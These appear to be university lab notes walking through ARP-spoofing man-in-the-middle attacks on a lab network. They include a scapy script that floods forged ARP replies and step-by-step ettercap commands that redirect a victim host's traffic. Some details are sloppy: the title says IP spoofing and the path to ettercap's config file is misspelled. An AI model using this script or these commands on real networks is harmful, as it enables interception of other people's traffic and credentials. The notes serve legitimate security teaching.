IP Spoofing

This is a famous Layer 2 attacks to perform the MITM, as well as ARP spoofing. These are the steps:

1. Discover hosts in the network
    a. send arp requests, with scapy, on the entire network to have informations
    b. or use nmap to discover connected hosts
2. When we know the target ip we can perform the attacks
3. Build our simple deamon with python that will send packets every 0.5 seconds.

```
from scapy.all import *

pkt = Ether(src='0c:a8:e3:7b:49:00', dst='ff:ff:ff:ff:ff:ff')/ARP(op=2, psrc='10.0.0.4')

sendp(pkt, loop=1, inter=0.5)
```

    a. This snipped is present on course git page, with name ip_spoofer.py
    b. In order to perform the attack we must replace the following fields:
        a. src Ether parameter with mac address of the victim
        b. Psrc ARP parameter with IP address of the victim
4. Run the script wit python as root
5. Open wireshark between H1 and SW1 and see if traffic of victim hosts comes
6. On R1 (our C7200 router) we can se if the attacks work with this command:
    a. show ip arp
7. On H3 run a ping of H2 (our victim) and see if the data is received by H1.

Ettercap

Ettercap is a famous tool for performing MITM. We will use, today, to build a Full-duplex ARP Spoofing.

Steps:

1. Install ettercap
    a. $sudo apt install ettercap-text-only
2. Run ettercap to discover active host on the network
    a. $sudo ettercap –T (will run ettercap with text interface)
    b. Into interactive shell press **l** to print hosts discovered
    c. Take note of informations of the victim
3. Active packets forwarding for ettercap
    a. Edit etter.conf file
    b. $sudo nano /etc/eettercap/etter.conf
    c. remove # at the line **redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %$**
    d. Save

4. Once identified the target of our attack we can procede with a MITM based on ARP spoofing
    a. ettercap –T –M <<MITM_TYPE>> <<TARGET>> (in form mac/ip/ipv6/port)
    b. $sudo ettercap –T –M ARP /10.0.0.3// (in our case with H2 as victim)
    c. Into interactive shell press space to enable/disable packets visualization
        i. If enabled the shell prints received packets
5. Open wireshark between H1 and SW1 to see if attack works
6. On H2 run a simple “apt update” to see if works and if H1 is in the middle